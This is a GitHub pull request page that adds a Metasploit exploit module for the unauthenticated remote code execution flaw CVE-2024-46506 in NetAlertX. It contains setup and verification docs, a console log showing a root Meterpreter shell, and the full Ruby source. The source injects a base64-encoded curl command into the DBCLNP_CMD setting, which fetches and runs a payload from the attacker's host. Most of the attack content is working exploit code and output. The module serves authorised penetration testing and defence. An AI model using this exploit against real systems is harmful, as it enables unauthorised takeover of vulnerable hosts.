Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add NetAlertX unauthenticated RCE module (CVE-2024-46506) #19868

Merged
merged 10 commits into from
Feb 11, 2025
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
## Vulnerable Application

An attacker can update NetAlertX settings with no authentication, which results in RCE.

The vulnerability affects:

* v23.01.14 <= NetAlertX <= v24.9.12

This module was successfully tested on:

* NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04


### Installation

1. `docker pull jokobsk/netalertx:24.9.12`

2. docker run
```bash
docker run --rm --network=host \
-v /tmp/netalertx:/app/config \
-v /tmp/netalertx:/app/db \
-e TZ=Europe/Berlin \
-e PORT=20211 \
jokobsk/netalertx:24.9.12
```


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter


## Options
### WAIT (required)
Wait time (seconds) for the payload to be set. Default is `75`.

### CLEANUP
Restore DBCLNP_CMD to original value after execution. Default is `true`.


## Scenarios
```
msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options

Module options (exploit/linux/http/netalertx_rce_cve_2024_46506):

Name Current Setting Required Description
---- --------------- -------- -----------
CLEANUP true no Restore DBCLNP_CMD to original value after execution
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 20211 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WAIT 75 yes Wait time (seconds) for the payload to be set


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 192.168.0.12 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 24.9.12 detected.
[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'.
[*] Waiting settings really updated...
[*] Sending stage (3045380 bytes) to 192.168.56.17
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900
[*] Added the payload to the queue. Waiting for the payload to run...
[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.56.17
OS : (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
157 changes: 157 additions & 0 deletions modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,157 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Retry

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated RCE in NetAlertX',
'Description' => %q{
An attacker can update NetAlertX settings with no authentication, which results in RCE.
},
'Author' => [
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-46506'],
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
],
'DefaultOptions' => {
'FETCH_DELETE' => true,
'WfsDelay' => 150
},
'Platform' => %w[linux],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
}
],
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => ' \'\\'
},
'DisclosureDate' => '2025-01-30',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)

register_options(
[
Opt::RPORT(20211),
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
msutovsky-r7 marked this conversation as resolved.
Show resolved Hide resolved
]
)
register_advanced_options(
[
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
})
return Exploit::CheckCode::Unknown unless res&.code == 200

html_document = res&.get_html_document
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?

version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?

version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))

Exploit::CheckCode::Appears("Version #{version} detected.")
end

def exploit
# Command is split by space character, and executed by the following Python code:
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
cmd = "/bin/sh -c #{payload.encode}"
update_settings(cmd, '*')
# Not updated immediately
print_status('Waiting for the settings to be properly updated...')
retry_until_truthy(timeout: datastore['WAIT']) do
check_settings(cmd)
end
add_to_execution_queue('run|DBCLNP')
add_to_execution_queue('cron_restart_backend')
print_status('Added the payload to the queue. Waiting for the payload to run...')
end

def update_settings(cmd, sche)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
].to_json
}
})
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
end

def add_to_execution_queue(cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
'vars_post' => {
'function' => 'addToExecutionQueue',
'action' => "#{SecureRandom.uuid}|#{cmd}"
}
})
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
end

def check_settings(cmd)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
})
return unless res&.code == 200

res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
end

def cleanup
super

if datastore['CLEANUP']
# Default settings, isn't usually changed.
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
update_settings(
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
'*/30'
)
end
end
end